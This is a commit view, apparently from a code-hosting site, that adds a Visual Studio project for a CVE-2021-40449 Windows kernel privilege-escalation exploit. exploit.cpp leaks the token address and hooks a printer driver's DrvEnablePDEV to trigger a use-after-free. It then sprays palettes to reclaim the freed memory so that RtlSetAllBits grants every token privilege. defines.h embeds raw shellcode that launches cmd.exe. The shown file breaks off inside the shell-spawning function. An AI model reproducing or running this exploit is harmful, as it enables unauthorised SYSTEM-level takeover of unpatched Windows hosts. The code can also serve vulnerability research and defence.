Projects STRLCPY CVE-2021-40449 Commits a2a6f01c
🤬
  • ■ ■ ■ ■ ■ ■
    CVE-2021-40449.vcxproj
     1 +<?xml version="1.0" encoding="utf-8"?>
     2 +<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
     3 + <ItemGroup Label="ProjectConfigurations">
     4 + <ProjectConfiguration Include="Debug|Win32">
     5 + <Configuration>Debug</Configuration>
     6 + <Platform>Win32</Platform>
     7 + </ProjectConfiguration>
     8 + <ProjectConfiguration Include="Release|Win32">
     9 + <Configuration>Release</Configuration>
     10 + <Platform>Win32</Platform>
     11 + </ProjectConfiguration>
     12 + <ProjectConfiguration Include="Debug|x64">
     13 + <Configuration>Debug</Configuration>
     14 + <Platform>x64</Platform>
     15 + </ProjectConfiguration>
     16 + <ProjectConfiguration Include="Release|x64">
     17 + <Configuration>Release</Configuration>
     18 + <Platform>x64</Platform>
     19 + </ProjectConfiguration>
     20 + </ItemGroup>
     21 + <PropertyGroup Label="Globals">
     22 + <VCProjectVersion>16.0</VCProjectVersion>
     23 + <Keyword>Win32Proj</Keyword>
     24 + <ProjectGuid>{0cf068be-42fc-4f97-bfaa-19d0075d166a}</ProjectGuid>
     25 + <RootNamespace>CVE202140449</RootNamespace>
     26 + <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
     27 + </PropertyGroup>
     28 + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
     29 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
     30 + <ConfigurationType>Application</ConfigurationType>
     31 + <UseDebugLibraries>true</UseDebugLibraries>
     32 + <PlatformToolset>v142</PlatformToolset>
     33 + <CharacterSet>Unicode</CharacterSet>
     34 + </PropertyGroup>
     35 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
     36 + <ConfigurationType>Application</ConfigurationType>
     37 + <UseDebugLibraries>false</UseDebugLibraries>
     38 + <PlatformToolset>v142</PlatformToolset>
     39 + <WholeProgramOptimization>true</WholeProgramOptimization>
     40 + <CharacterSet>Unicode</CharacterSet>
     41 + </PropertyGroup>
     42 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
     43 + <ConfigurationType>Application</ConfigurationType>
     44 + <UseDebugLibraries>true</UseDebugLibraries>
     45 + <PlatformToolset>v142</PlatformToolset>
     46 + <CharacterSet>Unicode</CharacterSet>
     47 + </PropertyGroup>
     48 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
     49 + <ConfigurationType>Application</ConfigurationType>
     50 + <UseDebugLibraries>false</UseDebugLibraries>
     51 + <PlatformToolset>v142</PlatformToolset>
     52 + <WholeProgramOptimization>true</WholeProgramOptimization>
     53 + <CharacterSet>Unicode</CharacterSet>
     54 + </PropertyGroup>
     55 + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
     56 + <ImportGroup Label="ExtensionSettings">
     57 + </ImportGroup>
     58 + <ImportGroup Label="Shared">
     59 + </ImportGroup>
     60 + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     61 + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
     62 + </ImportGroup>
     63 + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     64 + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
     65 + </ImportGroup>
     66 + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     67 + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
     68 + </ImportGroup>
     69 + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     70 + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
     71 + </ImportGroup>
     72 + <PropertyGroup Label="UserMacros" />
     73 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     74 + <LinkIncremental>true</LinkIncremental>
     75 + </PropertyGroup>
     76 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     77 + <LinkIncremental>false</LinkIncremental>
     78 + </PropertyGroup>
     79 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     80 + <LinkIncremental>true</LinkIncremental>
     81 + </PropertyGroup>
     82 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     83 + <LinkIncremental>false</LinkIncremental>
     84 + </PropertyGroup>
     85 + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     86 + <ClCompile>
     87 + <WarningLevel>Level3</WarningLevel>
     88 + <SDLCheck>true</SDLCheck>
     89 + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     90 + <ConformanceMode>true</ConformanceMode>
     91 + </ClCompile>
     92 + <Link>
     93 + <SubSystem>Console</SubSystem>
     94 + <GenerateDebugInformation>true</GenerateDebugInformation>
     95 + </Link>
     96 + </ItemDefinitionGroup>
     97 + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     98 + <ClCompile>
     99 + <WarningLevel>Level3</WarningLevel>
     100 + <FunctionLevelLinking>true</FunctionLevelLinking>
     101 + <IntrinsicFunctions>true</IntrinsicFunctions>
     102 + <SDLCheck>true</SDLCheck>
     103 + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     104 + <ConformanceMode>true</ConformanceMode>
     105 + </ClCompile>
     106 + <Link>
     107 + <SubSystem>Console</SubSystem>
     108 + <EnableCOMDATFolding>true</EnableCOMDATFolding>
     109 + <OptimizeReferences>true</OptimizeReferences>
     110 + <GenerateDebugInformation>true</GenerateDebugInformation>
     111 + </Link>
     112 + </ItemDefinitionGroup>
     113 + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     114 + <ClCompile>
     115 + <WarningLevel>Level3</WarningLevel>
     116 + <SDLCheck>true</SDLCheck>
     117 + <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     118 + <ConformanceMode>true</ConformanceMode>
     119 + </ClCompile>
     120 + <Link>
     121 + <SubSystem>Console</SubSystem>
     122 + <GenerateDebugInformation>true</GenerateDebugInformation>
     123 + </Link>
     124 + </ItemDefinitionGroup>
     125 + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     126 + <ClCompile>
     127 + <WarningLevel>Level3</WarningLevel>
     128 + <FunctionLevelLinking>true</FunctionLevelLinking>
     129 + <IntrinsicFunctions>true</IntrinsicFunctions>
     130 + <SDLCheck>true</SDLCheck>
     131 + <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     132 + <ConformanceMode>true</ConformanceMode>
     133 + </ClCompile>
     134 + <Link>
     135 + <SubSystem>Console</SubSystem>
     136 + <EnableCOMDATFolding>true</EnableCOMDATFolding>
     137 + <OptimizeReferences>true</OptimizeReferences>
     138 + <GenerateDebugInformation>true</GenerateDebugInformation>
     139 + </Link>
     140 + </ItemDefinitionGroup>
     141 + <ItemGroup>
     142 + <ClCompile Include="exploit.cpp" />
     143 + </ItemGroup>
     144 + <ItemGroup>
     145 + <ClInclude Include="defines.h" />
     146 + </ItemGroup>
     147 + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
     148 + <ImportGroup Label="ExtensionTargets">
     149 + </ImportGroup>
     150 +</Project>
  • ■ ■ ■ ■ ■ ■
    CVE-2021-40449.vcxproj.filters
     1 +<?xml version="1.0" encoding="utf-8"?>
     2 +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
     3 + <ItemGroup>
     4 + <Filter Include="Source Files">
     5 + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
     6 + <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
     7 + </Filter>
     8 + <Filter Include="Header Files">
     9 + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
     10 + <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
     11 + </Filter>
     12 + <Filter Include="Resource Files">
     13 + <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
     14 + <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
     15 + </Filter>
     16 + </ItemGroup>
     17 + <ItemGroup>
     18 + <ClCompile Include="exploit.cpp">
     19 + <Filter>Source Files</Filter>
     20 + </ClCompile>
     21 + </ItemGroup>
     22 + <ItemGroup>
     23 + <ClInclude Include="defines.h">
     24 + <Filter>Header Files</Filter>
     25 + </ClInclude>
     26 + </ItemGroup>
     27 +</Project>
  • ■ ■ ■ ■ ■ ■
    defines.h
     1 +#pragma once
     2 +#define PAGE_SIZE 4096
     3 +#define POOL_MAX_ALLOC PAGE_SIZE
     4 +
     5 +#define SystemBigPoolInformation 0x42
     6 +#define ThreadNameInformation 0x26
     7 +#define SystemModuleInformation 0xb
     8 +#define SystemHandleInformation 0x10
     9 +#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
     10 +#define ACCESS_TOKEN_HANDLE 0x5
     11 +
     12 +#define _chunk_size 0xe20
     13 +#define po_dhpdev_offset 0xa68
     14 +#define po_ppfn_INDEX_DrvResetPDEV_offset 0x6b8
     15 +
     16 +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
     17 + USHORT UniqueProcessId;
     18 + USHORT CreatorBackTraceIndex;
     19 + UCHAR ObjectTypeIndex;
     20 + UCHAR HandleAttributes;
     21 + USHORT HandleValue;
     22 + PVOID Object;
     23 + ULONG GrantedAccess;
     24 +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
     25 +typedef struct _SYSTEM_HANDLE_INFORMATION {
     26 + ULONG NumberOfHandles;
     27 + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
     28 +} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
     29 +typedef struct _BIG_POOL_INFO
     30 +{
     31 + union {
     32 + PVOID VirtualAddress;
     33 + ULONG_PTR NonPaged : 1;
     34 + };
     35 + ULONG_PTR SizeInBytes;
     36 + union {
     37 + UCHAR Tag[4];
     38 + ULONG TagUlong;
     39 + };
     40 +} BIG_POOL_INFO, * PBIG_POOL_INFO;
     41 +
     42 +typedef NTSTATUS(*fnNtSetInformationThreadPtr) (HANDLE threadHandle, THREADINFOCLASS threadInformationClass, PVOID threadInformation, ULONG threadInformationLength);
     43 +typedef BOOL(*_DrvEnableDriver) (ULONG iEngineVersion, ULONG cj, DRVENABLEDATA* pded);
     44 +typedef DHPDEV(*_DrvEnablePDEV) (DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver);
     45 +typedef VOID(*void_function)();
     46 +
     47 +DWORD64 leak_access_token_address();
     48 +DWORD64 leak_module_base_kernel();
     49 +DWORD64 leak_gadget_address();
     50 +DWORD64 handle_to_address(HANDLE, DWORD);
     51 +DWORD64 setup_gadget(DWORD64);
     52 +DWORD thread_main(LPVOID);
     53 +BOOL setup_hook();
     54 +DHPDEV hook(DEVMODEW*, LPWSTR, ULONG, HSURF*, ULONG, ULONG*, ULONG, DEVINFO*, HDEV, LPWSTR, HANDLE);
     55 +VOID claim_chunk();
     56 +VOID createpalette_primitive(SHORT);
     57 +VOID spawn_shell();
     58 +
     59 +_DrvEnablePDEV hooked_function;
     60 +LPWSTR hooked_printer_name;
     61 +DWORD64 crafted_BitMapHeader_address, rtlSetAllBits_address;
     62 +BOOL uaf;
     63 +HDC uaf_hdc;
     64 +
     65 +unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00";
  • ■ ■ ■ ■ ■ ■
    exploit.cpp
     1 +#include <iostream>
     2 +#include <Windows.h>
     3 +#include <winternl.h>
     4 +#include <winddi.h>
     5 +#include <iostream>
     6 +#include <Psapi.h>
     7 +#include <tlhelp32.h>
     8 +#include "defines.h"
     9 +#pragma comment (linker, "/defaultlib:ntdll.lib")
     10 +
     11 +#pragma warning(push)
     12 +#pragma warning(disable: 4102)
     13 +
     14 +fnNtSetInformationThreadPtr NtSetInformationThread = (fnNtSetInformationThreadPtr)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtSetInformationThread");
     15 +
     16 +using namespace std;
     17 +
     18 +int main() {
     19 + DWORD64 token_address, token_privileges_address;
     20 +
     21 + uaf = FALSE;
     22 +
     23 + if (NtSetInformationThread == NULL)
     24 + goto error;
     25 +
     26 + if (!(token_address = leak_access_token_address()))
     27 + goto error;
     28 +
     29 + token_privileges_address = token_address + 0x40;
     30 + cout << "token.privileges @ 0x" << hex << token_privileges_address << endl;
     31 +
     32 + crafted_BitMapHeader_address = setup_gadget(token_privileges_address);
     33 + cout << "fake BitMapHeader on ring0 @ 0x" << hex << crafted_BitMapHeader_address << endl;
     34 +
     35 + rtlSetAllBits_address = leak_gadget_address();
     36 + cout << "rtlSetAllBits() on ring0 @ 0x" << hex << rtlSetAllBits_address << endl;
     37 +
     38 + setup_hook();
     39 +
     40 + if (!(uaf_hdc = CreateDCW(NULL, hooked_printer_name, NULL, NULL)))
     41 + goto error;
     42 +
     43 + uaf = TRUE;
     44 + ResetDC(uaf_hdc, NULL);
     45 +
     46 + spawn_shell();
     47 +
     48 + system("pause");
     49 +
     50 + return 0;
     51 +
     52 +error:
     53 + cout << "error @ main()" << endl;
     54 + return 1;
     55 +}
     56 +
     57 +
     58 +DWORD64 leak_access_token_address() {
     59 + HANDLE process_handle(0), process_token_handle(0);
     60 + DWORD64 process_token_address = NULL;
     61 +
     62 + process_handle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
     63 + if (!process_handle) {
     64 + cout << "[!] error @ OpenProcess()" << endl;
     65 + return 1;
     66 + }
     67 +
     68 + if (!OpenProcessToken(process_handle, TOKEN_ADJUST_PRIVILEGES, &process_token_handle)) {
     69 + cout << "[!] error @ OpenProcessToken()" << endl;
     70 + return 1;
     71 + }
     72 +
     73 + do {
     74 + process_token_address = handle_to_address(process_token_handle, ACCESS_TOKEN_HANDLE);
     75 + } while (!process_token_address);
     76 +
     77 + return process_token_address;
     78 +}
     79 +
     80 +DWORD64 leak_gadget_address() {
     81 +
     82 + DWORD64 module_base_kernel, rtlSetAllBits_address;
     83 + HMODULE module_base_user;
     84 +
     85 + module_base_user = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
     86 + if (!module_base_user)
     87 + goto error;
     88 +
     89 + rtlSetAllBits_address = (DWORD64)GetProcAddress(module_base_user, "RtlSetAllBits"); // gadget to set our access token
     90 + if (!rtlSetAllBits_address) {
     91 + goto error;
     92 + }
     93 + module_base_kernel = leak_module_base_kernel();
     94 + rtlSetAllBits_address = module_base_kernel + (rtlSetAllBits_address - (DWORD64)module_base_user);
     95 +
     96 + return rtlSetAllBits_address;
     97 +error:
     98 + cout << "[!] error @ leak_gadget_address()" << endl;
     99 + return FALSE;
     100 +}
     101 +
     102 +DWORD64 handle_to_address(HANDLE handle_to_leak, DWORD handle_type) {
     103 + DWORD64 pointer;
     104 +
     105 + DWORD return_length = 0;
     106 + DWORD read_length = 0xa; // initial dummy length
     107 + PSYSTEM_HANDLE_INFORMATION sys_info_buffer{ 0 };
     108 + NTSTATUS status;
     109 +
     110 + DWORD proccess_id = GetCurrentProcessId();
     111 +
     112 + size_t current_handle_index;
     113 + size_t handles_count;
     114 + PSYSTEM_HANDLE_TABLE_ENTRY_INFO handles_list;
     115 +
     116 + sys_info_buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(read_length);
     117 + status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, sys_info_buffer, read_length, &return_length);
     118 +
     119 +
     120 + switch (status) {
     121 + case STATUS_INFO_LENGTH_MISMATCH:
     122 + do {
     123 + free(sys_info_buffer);
     124 + sys_info_buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(return_length);
     125 + status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, sys_info_buffer, return_length, &return_length);
     126 + } while (status == STATUS_INFO_LENGTH_MISMATCH);
     127 + if (!sys_info_buffer) {
     128 + goto error;
     129 + }
     130 + break;
     131 + default:
     132 + goto error;
     133 + }
     134 +
     135 +
     136 + handles_count = sys_info_buffer->NumberOfHandles;
     137 + handles_list = sys_info_buffer->Handles;
     138 +
     139 + for (current_handle_index = 0; current_handle_index < handles_count; current_handle_index++) {
     140 + if (proccess_id == handles_list[current_handle_index].UniqueProcessId && handle_type == handles_list[current_handle_index].ObjectTypeIndex) {
     141 + if (handle_to_leak == (HANDLE)handles_list[current_handle_index].HandleValue) {
     142 + pointer = (DWORD64)handles_list[current_handle_index].Object;
     143 + free(sys_info_buffer);
     144 + return pointer;
     145 + }
     146 + }
     147 + }
     148 +
     149 +error:
     150 + cout << "[!] error @ NtQuerySystemInformation()" << endl;
     151 + if (sys_info_buffer)
     152 + free(sys_info_buffer);
     153 + return FALSE;
     154 +}
     155 +
     156 +DWORD64 leak_module_base_kernel() {
     157 + LPVOID drivers[0x400];
     158 + DWORD cbNeeded;
     159 + if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded))
     160 + goto error;
     161 + return (DWORD64)drivers[0];
     162 +error:
     163 + cout << "[!] error @ leak_kernel_base_address()" << endl;
     164 + return FALSE;
     165 +}
     166 +
     167 +DWORD64 setup_gadget(DWORD64 process_privileges_address) {
     168 + DWORD thread_id;
     169 + HANDLE thread_handle;
     170 + USHORT msg_size;
     171 + HRESULT result;
     172 + LPVOID msg{ 0 }, info_buffer{ 0 };
     173 + UNICODE_STRING crafted;
     174 + DWORD buffer_size, out_size, expected_size;
     175 + ULONG_PTR start, gadget_address;
     176 + DWORD64 entries_count, current_index{ 0 };
     177 + PBIG_POOL_INFO entries;
     178 +
     179 +craft_BitMapHeader:
     180 + // this will result in memset(process_privileges_address, 0xff, 0x10)
     181 + msg_size = POOL_MAX_ALLOC; // size == POOL_MAX_ALLOC so that we get into the big pool
     182 + msg = VirtualAlloc(0, msg_size, MEM_COMMIT, PAGE_READWRITE);
     183 + if (!msg)
     184 + goto error;
     185 + memset(msg, 0x41, 0x20);
     186 + *(DWORD64*)msg = 0x80; // BitMapHeader->SizeOfBitMap
     187 + *(DWORD64*)((DWORD64)msg + 8) = process_privileges_address; // BitMapHeader->Buffer
     188 +
     189 +allocate_BitMapHeader_gadget:
     190 + // thread name primitive NtSetInformationThread()
     191 + // this will result in ExAllocatePoolWithTag(NonPagedPoolNx, crafted.Length+0x10, "ThNm")
     192 + crafted = { 0 };
     193 + crafted.Length = msg_size;
     194 + crafted.MaximumLength = 0xffff;
     195 + crafted.Buffer = (PWSTR)msg;
     196 +
     197 + thread_handle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)thread_main, 0, 0, &thread_id);
     198 + result = NtSetInformationThread(thread_handle, (THREADINFOCLASS)ThreadNameInformation, &crafted, sizeof(crafted));
     199 +
     200 +
     201 +leak_BitMapHeader_address:
     202 + // find address of the allocated chunk for the gadget in the big pool via NtQuerySystemInformation()
     203 + buffer_size = 0x500 * 0x500;
     204 + info_buffer = LocalAlloc(LPTR, buffer_size);
     205 + if (!info_buffer) {
     206 + goto error;
     207 + }
     208 +
     209 + result = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, info_buffer, buffer_size, &out_size);
     210 +
     211 + start = (ULONG_PTR)info_buffer;
     212 + entries_count = *((DWORD64*)info_buffer);
     213 + start += sizeof(entries_count);
     214 + entries = (PBIG_POOL_INFO)(start);
     215 + expected_size = crafted.Length + sizeof(crafted);
     216 +
     217 + current_index = 0;
     218 + while (current_index < entries_count) {
     219 + BIG_POOL_INFO current_entry = (BIG_POOL_INFO)entries[current_index];
     220 + if (strncmp((char*)current_entry.Tag, "ThNm", sizeof(current_entry.Tag)) == 0 && expected_size == current_entry.SizeInBytes) {
     221 + gadget_address = (((ULONG_PTR)current_entry.VirtualAddress) & ~1) + sizeof(crafted); // flip the allocated/freed bit and skip the 0x10 header
     222 + LocalFree(info_buffer);
     223 + return gadget_address;
     224 + }
     225 + current_index++;
     226 + }
     227 +
     228 +
     229 +
     230 +error:
     231 + info_buffer&& LocalFree(info_buffer);
     232 + cout << "[!] error @ gadget()" << endl;
     233 + return FALSE;
     234 +}
     235 +
     236 +DWORD thread_main(LPVOID dummy) {
     237 + while (1) Sleep(0xffffff);
     238 +}
     239 +
     240 +BOOL setup_hook() {
     241 + DWORD pcbNeeded, pcbReturned, lpflOldProtect, current_printer_index, current_DRVFN;
     242 + HANDLE printer_handle;
     243 + HMODULE driver_handle;
     244 + _DrvEnableDriver DrvEnableDriver;
     245 + void_function DrvDisableDriver;
     246 + PRINTER_INFO_4W* printers{ 0 }, * printer_info;
     247 + DRIVER_INFO_2W* driver_info{ 0 };
     248 + DRVENABLEDATA DRVENABLEDATA_ptr;
     249 + DRVFN* DRVFN_ptr;
     250 +
     251 + EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbReturned);
     252 +
     253 + if (!pcbNeeded)
     254 + goto error;
     255 +
     256 + printers = (PRINTER_INFO_4W*)LocalAlloc(LPTR, pcbNeeded);
     257 +
     258 + if (!printers)
     259 + goto error;
     260 +
     261 +
     262 + if (!EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)printers, pcbNeeded, &pcbNeeded, &pcbReturned))
     263 + goto error;
     264 +
     265 + for (current_printer_index = 0; current_printer_index < pcbReturned; current_printer_index++) {
     266 + printer_info = &printers[current_printer_index];
     267 +
     268 + if (!OpenPrinterW(printer_info->pPrinterName, &printer_handle, NULL))
     269 + goto error;
     270 +
     271 + hooked_printer_name = (LPWSTR)printer_info->pPrinterName;
     272 +
     273 + GetPrinterDriverW(printer_handle, NULL, 2, NULL, 0, &pcbNeeded);
     274 +
     275 + driver_info = (DRIVER_INFO_2W*)LocalAlloc(LPTR, pcbNeeded);
     276 + if (!driver_info)
     277 + goto error;
     278 +
     279 + if (!GetPrinterDriverW(printer_handle, NULL, 2, (LPBYTE)driver_info, pcbNeeded, &pcbNeeded))
     280 + continue;
     281 +
     282 + driver_handle = LoadLibraryExW(driver_info->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
     283 +
     284 + if (!driver_handle)
     285 + continue;
     286 +
     287 + DrvEnableDriver = (_DrvEnableDriver)GetProcAddress(driver_handle, "DrvEnableDriver");
     288 + DrvDisableDriver = (void_function)GetProcAddress(driver_handle, "DrvDisableDriver");
     289 +
     290 + if (!DrvEnableDriver || !DrvDisableDriver)
     291 + continue;
     292 +
     293 + if (!DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA_ptr), &DRVENABLEDATA_ptr))
     294 + continue;
     295 +
     296 + DRVFN_ptr = DRVENABLEDATA_ptr.pdrvfn;
     297 +
     298 + if (!VirtualProtect((LPVOID)DRVFN_ptr, DRVENABLEDATA_ptr.c * sizeof(PFN), PAGE_READWRITE, &lpflOldProtect))
     299 + continue;
     300 +
     301 + for (current_DRVFN = 0; current_DRVFN < DRVENABLEDATA_ptr.c; current_DRVFN++) {
     302 + if (DRVFN_ptr[current_DRVFN].iFunc == INDEX_DrvEnablePDEV) {
     303 + wcout << "hooking calls to DrvEnablePDEV() for '" << printer_info->pPrinterName << "' printer" << endl;
     304 + hooked_function = (_DrvEnablePDEV)DRVFN_ptr[current_DRVFN].pfn;
     305 + DRVFN_ptr[current_DRVFN].pfn = (PFN)hook;
     306 + break;
     307 + }
     308 + }
     309 +
     310 + DrvDisableDriver();
     311 + if (!VirtualProtect(DRVENABLEDATA_ptr.pdrvfn, DRVENABLEDATA_ptr.c * sizeof(PFN), lpflOldProtect, &lpflOldProtect))
     312 + goto error;
     313 +
     314 + LocalFree((HLOCAL)printers);
     315 + LocalFree((HLOCAL)driver_info);
     316 + return TRUE;
     317 + }
     318 +error:
     319 + printers&& LocalFree((HLOCAL)printers);
     320 + driver_info&& LocalFree((HLOCAL)driver_info);
     321 + cout << "error @ setup_hook()" << endl;
     322 + return FALSE;
     323 +}
     324 +
     325 +DHPDEV hook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
     326 + HDC dummy{ 0 };
     327 + DHPDEV returned;
     328 +
     329 + cout << "hook called!" << endl;
     330 + cout << "proxying the call to the original driver ..." << endl;
     331 + returned = hooked_function(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
     332 +
     333 + switch (uaf) {
     334 + case TRUE:
     335 + cout << "triggering the UAF" << endl;
     336 + uaf &= FALSE;
     337 + dummy = ResetDCW(uaf_hdc, NULL);
     338 + claim_chunk();
     339 + }
     340 +
     341 + return returned;
     342 +}
     343 +
     344 +VOID claim_chunk() {
     345 + USHORT spraying_tries;
     346 + for (spraying_tries = 0; spraying_tries < 0xffff; spraying_tries++) {
     347 + createpalette_primitive(_chunk_size);
     348 + }
     349 +}
     350 +
     351 +VOID createpalette_primitive(SHORT chunk_size) {
     352 + WORD palette_entries_count, palette_size;
     353 + LOGPALETTE* palette;
     354 +
     355 + if (chunk_size < 0x90) {
     356 + return; // createpalette() primitive work only with size >0x90
     357 + }
     358 +
     359 + palette_entries_count = (chunk_size - 0x90) / 4;
     360 + palette_size = sizeof(LOGPALETTE) + (palette_entries_count - 1) * sizeof(PALETTEENTRY);
     361 + palette = (LOGPALETTE*)malloc(palette_size);
     362 +
     363 + *(DWORD64*)((DWORD64)palette + sizeof(palette->palVersion) + sizeof(palette->palNumEntries) + po_dhpdev_offset) = rtlSetAllBits_address;
     364 + *(DWORD64*)((DWORD64)palette + sizeof(palette->palVersion) + sizeof(palette->palNumEntries) + po_ppfn_INDEX_DrvResetPDEV_offset) = crafted_BitMapHeader_address;
     365 +
     366 + palette->palNumEntries = palette_entries_count;
     367 + palette->palVersion = 0x300;
     368 +
     369 +
     370 + CreatePalette(palette);
     371 +}
     372 +
     373 +VOID spawn_shell() {
     374 + PROCESSENTRY32 entry;
     375 + DWORD pid{ 0 };
     376 + HANDLE snapshot, handle, thread_handle;
     377 + BOOL result;
     378 + void* buffer;
     379 +
     380 + entry.dwSize = sizeof(PROCESSENTRY32);
     381 + snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
